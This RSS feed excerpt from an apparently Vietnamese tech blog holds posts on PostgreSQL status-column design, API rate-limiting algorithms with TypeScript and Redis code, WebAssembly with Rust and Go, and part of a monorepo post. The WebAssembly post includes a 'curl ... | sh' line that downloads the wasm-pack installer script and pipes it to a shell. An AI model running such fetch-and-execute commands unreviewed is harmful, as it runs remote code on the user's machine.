&lt;p&gt;Đây là lựa chọn mặc định tốt khi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Giá trị ổn định&lt;/li&gt;
&lt;li&gt;Bạn muốn lưu trữ nhỏ gọn&lt;/li&gt;
&lt;li&gt;Bạn muốn kiểm tra ở cơ sở dữ liệu&lt;/li&gt;
&lt;li&gt;Bạn không cần thêm siêu dữ liệu&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dùng &lt;code&gt;SMALLINT&lt;/code&gt; + khóa ngoại khi cần mở rộng&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status SMALLINT NOT NULL
    REFERENCES order_status(id)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chọn cách này khi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Trạng thái có thể thay đổi&lt;/li&gt;
&lt;li&gt;Bạn cần mô tả hoặc siêu dữ liệu&lt;/li&gt;
&lt;li&gt;Bạn muốn bật/tắt trạng thái&lt;/li&gt;
&lt;li&gt;Bạn muốn tránh ràng buộc &lt;code&gt;CHECK&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Giá trị được quản lý như dữ liệu tham chiếu&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Đây thường là thiết kế linh hoạt nhất.&lt;/p&gt;
&lt;h3&gt;Dùng PostgreSQL &lt;code&gt;ENUM&lt;/code&gt; cho kiểu miền ổn định&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TYPE order_status AS ENUM (
    &apos;pending&apos;,
    &apos;paid&apos;,
    &apos;cancelled&apos;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đây là lựa chọn tốt khi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tập giá trị nhỏ&lt;/li&gt;
&lt;li&gt;Giá trị là nền tảng cho miền&lt;/li&gt;
&lt;li&gt;Bạn muốn SQL dễ đọc&lt;/li&gt;
&lt;li&gt;Bạn không mong đợi thay đổi thường xuyên&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dùng &lt;code&gt;SMALLINT&lt;/code&gt; thuần chỉ khi kiểm tra ứng dụng là chủ ý&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status SMALLINT NOT NULL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cách này hoàn toàn có thể chấp nhận được, nhưng cần hiểu rõ sự đánh đổi:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cơ sở dữ liệu sẽ không biết giá trị nào là hợp lệ.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cách này hoạt động tốt nhất khi kiểm tra được tập trung hóa trong mã ứng dụng và việc ghi trực tiếp vào cơ sở dữ liệu được kiểm soát chặt chẽ.&lt;/p&gt;
&lt;h2&gt;Khuyến nghị thực tế&lt;/h2&gt;
&lt;p&gt;Với hầu hết ứng dụng, tôi chọn một trong hai thiết kế sau:&lt;/p&gt;
&lt;h3&gt;Giá trị ổn định&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
        CHECK (status IN (0, 1, 2))
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Giá trị động hoặc giàu siêu dữ liệu&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE
);

CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
        REFERENCES order_status(id)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Điểm khác biệt chính rất đơn giản:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dùng ràng buộc &lt;code&gt;CHECK&lt;/code&gt; khi giá trị hợp lệ là bất biến của bảng. Dùng bảng tra cứu khi giá trị hợp lệ là dữ liệu có thể tiến hóa. Dùng &lt;code&gt;ENUM&lt;/code&gt; của PostgreSQL khi giá trị là kiểu cơ sở dữ liệu ổn định.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Và nếu bạn chọn &lt;code&gt;SMALLINT&lt;/code&gt; thuần không có ràng buộc cơ sở dữ liệu, hãy làm điều đó một cách có chủ đích — bởi vì bạn đang chuyển trách nhiệm về tính toàn vẹn dữ liệu từ PostgreSQL sang ứng dụng.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/&quot;&gt;PostgreSQL Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/datatype-enum.html&quot;&gt;PostgreSQL ENUM Type&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/ddl-constraints.html&quot;&gt;PostgreSQL CHECK Constraints&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/current/ddl-constraints.html#DDL-CONSTRAINTS-FK&quot;&gt;PostgreSQL Foreign Keys&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Rate Limiting — Thuật Toán Và Implementation Cho API</title><link>https://dopana-blog.pages.dev/blog/rate-limiting</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/rate-limiting</guid><description>Các thuật toán rate limiting: Token Bucket, Leaky Bucket, Sliding Window — implementation trong Node.js và Cloudflare Workers.</description><pubDate>Wed, 22 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Rate limiting bảo vệ API khỏi abuse, brute force, và traffic spike. Bài này trình bày các thuật toán phổ biến và cách implement.&lt;/p&gt;
&lt;h2&gt;Tại Sao Cần Rate Limiting?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Chống DDoS, brute force&lt;/li&gt;
&lt;li&gt;Đảm bảo fair usage cho tất cả user&lt;/li&gt;
&lt;li&gt;Bảo vệ backend khỏi quá tải&lt;/li&gt;
&lt;li&gt;Giảm chi phí (đặc biệt với AI API)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Thuật Toán&lt;/h2&gt;
&lt;h3&gt;1. Fixed Window Counter&lt;/h3&gt;
&lt;p&gt;Đơn giản nhất — đếm request trong cửa sổ thời gian cố định:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class FixedWindowRateLimiter {
  private windows = new Map&amp;#x3C;string, { count: number; resetAt: number }&gt;();

  constructor(
    private windowMs: number,
    private maxRequests: number,
  ) {}

  check(key: string): boolean {
    const now = Date.now();
    let window = this.windows.get(key);

    if (!window || now &gt; window.resetAt) {
      window = { count: 0, resetAt: now + this.windowMs };
      this.windows.set(key, window);
    }

    window.count++;
    return window.count &amp;#x3C;= this.maxRequests;
  }
}

const limiter = new FixedWindowRateLimiter(60_000, 10);
// 10 requests / phút
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Vấn đề: Traffic burst ở biên giới window — 10 request ở 0:59 và 10 request ở 1:00 = 20 request trong 2 giây.&lt;/p&gt;
&lt;h3&gt;2. Sliding Window Log&lt;/h3&gt;
&lt;p&gt;Lưu timestamp từng request — kiểm tra số request trong N giây qua:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class SlidingWindowLog {
  private logs = new Map&amp;#x3C;string, number[]&gt;();

  constructor(
    private windowMs: number,
    private maxRequests: number,
  ) {}

  check(key: string): boolean {
    const now = Date.now();
    let log = this.logs.get(key) || [];
    const windowStart = now - this.windowMs;

    // Loại bỏ entries cũ
    log = log.filter(t =&gt; t &gt; windowStart);
    this.logs.set(key, log);

    if (log.length &gt;= this.maxRequests) {
      return false;
    }

    log.push(now);
    return true;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chính xác hơn nhưng tốn bộ nhớ — lưu timestamp mỗi request.&lt;/p&gt;
&lt;h3&gt;3. Sliding Window Counter (Redis)&lt;/h3&gt;
&lt;p&gt;Kết hợp fixed window + sliding — dùng Redis sorted set:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { createClient } from &apos;redis&apos;;

const redis = createClient();

async function checkRateLimit(
  key: string,
  limit: number,
  windowSec: number,
): Promise&amp;#x3C;{ allowed: boolean; remaining: number; resetAt: number }&gt; {
  const now = Date.now();
  const windowStart = now - windowSec * 1000;

  // Transaction
  const multi = redis.multi();
  multi.zRemRangeByScore(key, 0, windowStart); // Xoá entries cũ
  multi.zAdd(key, { score: now, value: `${now}` });
  multi.zCard(key); // Đếm entries trong window
  multi.expire(key, windowSec);
  const [, , count] = await multi.exec();

  const requestCount = count as number;
  return {
    allowed: requestCount &amp;#x3C;= limit,
    remaining: Math.max(0, limit - requestCount),
    resetAt: Math.ceil((windowStart + windowSec * 1000) / 1000),
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Token Bucket&lt;/h3&gt;
&lt;p&gt;Bucket chứa N token. Mỗi request lấy 1 token. Token được thêm vào với rate R.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class TokenBucket {
  private buckets = new Map&amp;#x3C;string, { tokens: number; lastRefill: number }&gt;();

  constructor(
    private capacity: number,     // Max tokens
    private refillRate: number,   // Tokens/second
  ) {}

  private refill(key: string) {
    const bucket = this.buckets.get(key);
    if (!bucket) return;

    const now = Date.now();
    const elapsed = (now - bucket.lastRefill) / 1000;
    const newTokens = elapsed * this.refillRate;

    bucket.tokens = Math.min(this.capacity, bucket.tokens + newTokens);
    bucket.lastRefill = now;
  }

  tryConsume(key: string): boolean {
    if (!this.buckets.has(key)) {
      this.buckets.set(key, { tokens: this.capacity, lastRefill: Date.now() });
    }

    this.refill(key);
    const bucket = this.buckets.get(key)!;

    if (bucket.tokens &gt;= 1) {
      bucket.tokens -= 1;
      return true;
    }
    return false;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu điểm: Cho phép burst ngắn (nếu bucket đầy) nhưng rate trung bình ổn định.&lt;/p&gt;
&lt;h3&gt;5. Leaky Bucket&lt;/h3&gt;
&lt;p&gt;Request vào bucket, xử lý với rate cố định. Nếu bucket đầy → request bị từ chối.&lt;/p&gt;
&lt;p&gt;Dùng hàng đợi — phù hợp cho xử lý bất đồng bộ.&lt;/p&gt;
&lt;h2&gt;Implementation — Express Middleware&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import rateLimit from &apos;express-rate-limit&apos;;
import RedisStore from &apos;rate-limit-redis&apos;;
import { createClient } from &apos;redis&apos;;

const redis = createClient();

// Global limiter
const globalLimiter = rateLimit({
  windowMs: 60_000,
  max: 100,
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: &apos;Too many requests&apos; },
});

// Auth limiter — strict hơn
const authLimiter = rateLimit({
  windowMs: 15 * 60_000,
  max: 5,
  skipSuccessfulRequests: false,
  keyGenerator: (req) =&gt; req.ip,
  handler: (req, res) =&gt; {
    res.status(429).json({
      error: &apos;Too many login attempts. Try again later.&apos;,
      retryAfter: Math.ceil(req.rateLimit.resetTime / 1000),
    });
  },
});

// API key limiter — dùng Redis store cho distributed
const apiLimiter = rateLimit({
  store: new RedisStore({
    sendCommand: (...args: string[]) =&gt; redis.sendCommand(args),
  }),
  windowMs: 60_000,
  max: (req) =&gt; {
    // Different limits for different tiers
    const tier = req.headers[&apos;x-api-tier&apos;] || &apos;free&apos;;
    const limits = { free: 10, pro: 100, enterprise: 1000 };
    return limits[tier as keyof typeof limits] || 10;
  },
  keyGenerator: (req) =&gt; req.headers[&apos;x-api-key&apos;] as string,
});

app.use(&apos;/api/&apos;, globalLimiter);
app.use(&apos;/api/auth/login&apos;, authLimiter);
app.use(&apos;/api/v2&apos;, apiLimiter);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Response Headers&lt;/h2&gt;
&lt;p&gt;Luôn trả về rate limit info trong response headers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;X-RateLimit-Limit: 100
X-RateLimit-Remaining: 45
X-RateLimit-Reset: 1718845200
Retry-After: 45
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cloudflare Rate Limiting&lt;/h2&gt;
&lt;p&gt;Cloudflare có rate limiting built-in:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Wrangler AI — hoặc dashboard
wrangler ratelimit create my-limit --limit 100 --period 60
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Workers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export default {
  async fetch(request: Request, env: Env): Promise&amp;#x3C;Response&gt; {
    const key = request.headers.get(&apos;CF-Connecting-IP&apos;) || &apos;unknown&apos;;
    const { success } = await env.myRateLimiter.limit({ key });

    if (!success) {
      return new Response(&apos;Too Many Requests&apos;, { status: 429 });
    }

    return new Response(&apos;OK&apos;);
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Distributed Rate Limiting&lt;/h2&gt;
&lt;p&gt;Khi nhiều server — dùng Redis centralized:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Server 1 ─┐
Server 2 ─┼→ Redis (atomic counters)
Server 3 ─┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Redis Lua script — atomic:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-lua&quot;&gt;-- rate_limit.lua
local key = KEYS[1]
local limit = tonumber(ARGV[1])
local window = tonumber(ARGV[2])
local now = tonumber(ARGV[3])

redis.call(&apos;ZREMRANGEBYSCORE&apos;, key, 0, now - window)
local count = redis.call(&apos;ZCARD&apos;, key)

if count &gt;= limit then
  return 0
end

redis.call(&apos;ZADD&apos;, key, now, now)
redis.call(&apos;EXPIRE&apos;, key, window)
return limit - count - 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Best Practices&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Always return headers — client biết khi nào retry&lt;/li&gt;
&lt;li&gt;Different limits per endpoint — auth strict, public loose&lt;/li&gt;
&lt;li&gt;Use token key — IP + API key + userId&lt;/li&gt;
&lt;li&gt;Distributed store — Redis nếu nhiều server&lt;/li&gt;
&lt;li&gt;Graceful degradation — khi Redis down → allow temporarily&lt;/li&gt;
&lt;li&gt;Log violations — để phát hiện abuse pattern&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Rate limiting không chỉ là bảo vệ — nó là quản lý tài nguyên. Fixed window đơn giản, sliding window chính xác, token bucket linh hoạt. Redis cho distributed systems. Cloudflare cho edge rate limiting. Chọn theo nhu cầu: đơn giản hay chính xác.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://express-rate-limit.mintlify.app/&quot;&gt;express-rate-limit Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/wyattjoh/rate-limit-redis&quot;&gt;rate-limit-redis — Redis Store&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/rate-limiting/&quot;&gt;Cloudflare Rate Limiting Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/develop/data-types/sorted-sets/&quot;&gt;Redis Sorted Sets — Sliding Window&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>WebAssembly — Chạy Code Tốc Độ Native Trên Browser</title><link>https://dopana-blog.pages.dev/blog/webassembly</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/webassembly</guid><description>Giới thiệu WebAssembly (WASM): kiến trúc, cách dùng, use case thực tế và tương lai của WASM trên web.</description><pubDate>Tue, 21 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WebAssembly (WASM) là binary format cho phép chạy code gần tốc độ native trên browser. C, C++, Rust, Go — tất cả compile thành WASM.&lt;/p&gt;
&lt;h2&gt;WASM Là Gì?&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;JavaScript:   Viết → Parse → Compile JIT → Run
WebAssembly:  Viết (Rust/C++) → Compile → .wasm → Run (gần native)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WASM không thay thế JavaScript — nó bổ sung cho JS ở những tác vụ nặng.&lt;/p&gt;
&lt;h2&gt;WASM vs JavaScript&lt;/h2&gt;
&lt;p&gt;| | JavaScript | WebAssembly |
|---|---|---|
| Performance | Trung bình | Gần native |
| Startup | Parse + JIT warmup | Nhanh (binary format) |
| Use case | UI, logic app | Tính toán nặng, game, xử lý media |
| Memory | GC tự động | Manual (linear memory) |
| DOM access | ✅ | ❌ (phải qua JS) |&lt;/p&gt;
&lt;h2&gt;Rust + WASM — Hello World&lt;/h2&gt;
&lt;h3&gt;1. Cài đặt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# wasm-pack — build tool
curl https://rustwasm.github.io/wasm-pack/installer/init.sh -sSf | sh

# Tạo project
cargo new --lib wasm-hello
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Cargo.toml&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-toml&quot;&gt;[package]
name = &quot;wasm-hello&quot;
version = &quot;0.1.0&quot;

[lib]
crate-type = [&quot;cdylib&quot;]

[dependencies]
wasm-bindgen = &quot;0.2&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Code Rust&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn fibonacci(n: u32) -&gt; u64 {
    match n {
        0 =&gt; 0,
        1 =&gt; 1,
        _ =&gt; fibonacci(n - 1) + fibonacci(n - 2),
    }
}

#[wasm_bindgen]
pub fn greet(name: &amp;#x26;str) -&gt; String {
    format!(&quot;Hello, {}! From WebAssembly&quot;, name)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Build&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;wasm-pack build --target web
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Dùng trong JS&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import init, { fibonacci, greet } from &apos;./pkg/wasm_hello.js&apos;;

async function main() {
  await init(); // Load .wasm file

  console.log(greet(&apos;Alice&apos;)); // Hello, Alice! From WebAssembly
  console.log(fibonacci(40));  // 102334155 — nhanh hơn JS rất nhiều
}

main();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So Sánh Performance&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// JavaScript
function fibJS(n: number): number {
  if (n &amp;#x3C;= 1) return n;
  return fibJS(n - 1) + fibJS(n - 2);
}

// fib(45): JS ≈ 15s, WASM ≈ 1.2s — WASM nhanh hơn ~12x
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use Case Thực Tế&lt;/h2&gt;
&lt;h3&gt;1. Xử Lý Ảnh &amp;#x26; Video&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;use wasm_bindgen::prelude::*;

#[wasm_bindgen]
pub fn grayscale(data: &amp;#x26;mut [u8]) {
    for chunk in data.chunks_mut(4) {
        let r = chunk[0] as f32;
        let g = chunk[1] as f32;
        let b = chunk[2] as f32;
        let gray = (0.299 * r + 0.587 * g + 0.114 * b) as u8;
        chunk[0] = gray;
        chunk[1] = gray;
        chunk[2] = gray;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Nén/Giải Nén&lt;/h3&gt;
&lt;p&gt;ffmpeg.wasm — FFmpeg chạy trong browser:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { FFmpeg } from &apos;@ffmpeg/ffmpeg&apos;;

const ffmpeg = new FFmpeg();
await ffmpeg.load();

await ffmpeg.exec([&apos;-i&apos;, &apos;input.mp4&apos;, &apos;-vf&apos;, &apos;scale=1280:720&apos;, &apos;output.mp4&apos;]);
const data = await ffmpeg.readFile(&apos;output.mp4&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Database Client&lt;/h3&gt;
&lt;p&gt;SQLite WASM — SQLite chạy trong browser:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import sqlInit, { Database } from &apos;sql.js&apos;;

const SQL = await sqlInit();
const db = new SQL.Database();

db.run(&apos;CREATE TABLE users (id INT, name TEXT)&apos;);
db.run(&apos;INSERT INTO users VALUES (?, ?)&apos;, [1, &apos;Alice&apos;]);
const result = db.exec(&apos;SELECT * FROM users&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Game Engine&lt;/h3&gt;
&lt;p&gt;Unity, Unreal Engine export WebGL (dùng WASM). Game chạy trong browser với performance gần native.&lt;/p&gt;
&lt;h2&gt;Go WASM&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;package main

import &quot;syscall/js&quot;

func add(this js.Value, args []js.Value) any {
    return args[0].Int() + args[1].Int()
}

func main() {
    js.Global().Set(&quot;addWasm&quot;, js.FuncOf(add))
    select {} // Keep running
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;GOOS=js GOARCH=wasm go build -o main.wasm
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WASM Trong Workers&lt;/h2&gt;
&lt;p&gt;Dùng WASM trong Cloudflare Workers:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import wasm from &apos;./module.wasm&apos;;

export default {
  async fetch(request: Request): Promise&amp;#x3C;Response&gt; {
    const instance = await WebAssembly.instantiate(wasm);
    const result = instance.exports.fibonacci(40);
    return new Response(`fib(40) = ${result}`);
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WASI — WebAssembly System Interface&lt;/h2&gt;
&lt;p&gt;WASI cho phép WASM chạy outside browser — trên server, CLI, embedded:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Browser:  WASM + JS API
Server:   WASM + WASI (filesystem, network, clock)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bytecode Alliance phát triển WASI để WASM trở thành runtime phổ quát.&lt;/p&gt;
&lt;h2&gt;Công Cụ &amp;#x26; Framework&lt;/h2&gt;
&lt;p&gt;| Công cụ | Mục đích |
|---|---|
| wasm-pack | Build Rust → WASM |
| Emscripten | Build C/C++ → WASM |
| AssemblyScript | TypeScript → WASM |
| Blazor | C# → WASM (Microsoft) |
| Pyodide | Python → WASM |
| wasmtime | WASM runtime (server-side) |
| wasmer | WASM runtime (server-side) |&lt;/p&gt;
&lt;h2&gt;Hạn Chế&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Không DOM access — phải qua JS bridge (chi phí)&lt;/li&gt;
&lt;li&gt;Debug khó — chưa có source map hoàn chỉnh&lt;/li&gt;
&lt;li&gt;Bundle size — .wasm file có thể lớn (~MB)&lt;/li&gt;
&lt;li&gt;GC — manual memory management (trừ C#/Go có GC riêng)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;WASM không thay thế JavaScript — nó là công cụ cho tác vụ nặng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Game engine&lt;/li&gt;
&lt;li&gt;Image/video processing&lt;/li&gt;
&lt;li&gt;Compression&lt;/li&gt;
&lt;li&gt;Scientific computing&lt;/li&gt;
&lt;li&gt;Database client (SQLite)&lt;/li&gt;
&lt;li&gt;Porting native libraries&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nếu bạn viết web app thông thường (CRUD, UI) — không cần WASM. Nếu bạn cần performance native trên browser — WASM là câu trả lời.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://webassembly.org&quot;&gt;WebAssembly Official Site&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/WebAssembly&quot;&gt;MDN WebAssembly Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://rustwasm.github.io/wasm-pack/book/&quot;&gt;wasm-pack Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.assemblyscript.org&quot;&gt;AssemblyScript Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sqlite.org/wasm/doc/trunk/about.md&quot;&gt;SQLite WASM Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wasi.dev&quot;&gt;WASI Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Monorepo — Turborepo, Nx, Workspace Cho Codebase Lớn</title><link>https://dopana-blog.pages.dev/blog/monorepo</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/monorepo</guid><description>Quản lý codebase nhiều package với monorepo: Turborepo, Nx, npm/pnpm workspaces và lợi ích của monorepo.</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Monorepo là chiến lược đặt nhiều package/project trong cùng một repository. Tưởng phức tạp — nhưng với công cụ hiện đại, nó đơn giản hơn bạn nghĩ.&lt;/p&gt;
&lt;h2&gt;Monorepo vs Polyrepo&lt;/h2&gt;
&lt;p&gt;| Monorepo | Polyrepo |
|---|---|
| Code chung 1 repo | Mỗi project 1 repo riêng |
| Dễ share code | Phải publish package |
| atomic commit xuyên package | Phải release nhiều repo |
| Tooling phức tạp hơn | Tooling đơn giản hơn |
| CI/CD 1 pipeline | CI/CD nhiều pipeline |&lt;/p&gt;
&lt;h2&gt;pnpm Workspaces — Nền Tảng&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# pnpm-workspace.yaml
packages:
  - &apos;apps/*&apos;
  - &apos;packages/*&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cấu trúc project:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;my-monorepo/
├── apps/
│   ├── web/          # Next.js app
│   ├── api/          # Express API
│   └── admin/        # Admin dashboard
├── packages/
│   ├── ui/           # Shared UI components
│   ├── utils/        # Shared utilities
│   ├── config/       # ESLint, tsconfig
│   └── db/           # Prisma schema + client
├── pnpm-workspace.yaml
├── package.json      # Root package.json
└── turbo.json
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Root package.json&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;private&quot;: true,
  &quot;scripts&quot;: {
    &quot;dev&quot;: &quot;turbo dev&quot;,
    &quot;build&quot;: &quot;turbo build&quot;,
    &quot;lint&quot;: &quot;turbo lint&quot;,
    &quot;test&quot;: &quot;turbo test&quot;
  },
  &quot;devDependencies&quot;: {
    &quot;turbo&quot;: &quot;^2.0.0&quot;,
    &quot;typescript&quot;: &quot;^5.5.0&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Turborepo — Cache &amp;#x26; Task Runner&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;// turbo.json
{
  &quot;$schema&quot;: &quot;https://turbo.build/schema.json&quot;,
  &quot;tasks&quot;: {
    &quot;build&quot;: {
      &quot;dependsOn&quot;: [&quot;^build&quot;],    // Build dependencies trước
      &quot;outputs&quot;: [&quot;dist/**&quot;, &quot;.next/**&quot;],
      &quot;cache&quot;: true
    },
    &quot;dev&quot;: {
      &quot;cache&quot;: false,
      &quot;persistent&quot;: true
    },
    &quot;lint&quot;: {},
    &quot;test&quot;: {
      &quot;dependsOn&quot;: [&quot;build&quot;],
      &quot;inputs&quot;: [&quot;src/**/*.ts&quot;, &quot;test/**/*.ts&quot;]
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Turborepo caches output — nếu code không đổi, build lại trong mili giây:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Lần 1 — build thật
turbo build
# Tasks: 5 successful, 0 cached

# Lần 2 — dùng cache
turbo build
# Tasks: 0 successful, 5 cached → &amp;#x3C; 1s
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cấu Hình Package&lt;/h2&gt;
&lt;h3&gt;packages/ui/package.json&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;name&quot;: &quot;@myorg/ui&quot;,
  &quot;private&quot;: true,
  &quot;exports&quot;: {
    &quot;./button&quot;: &quot;./src/Button.tsx&quot;,
    &quot;./card&quot;: &quot;./src/Card.tsx&quot;
  },
  &quot;peerDependencies&quot;: {
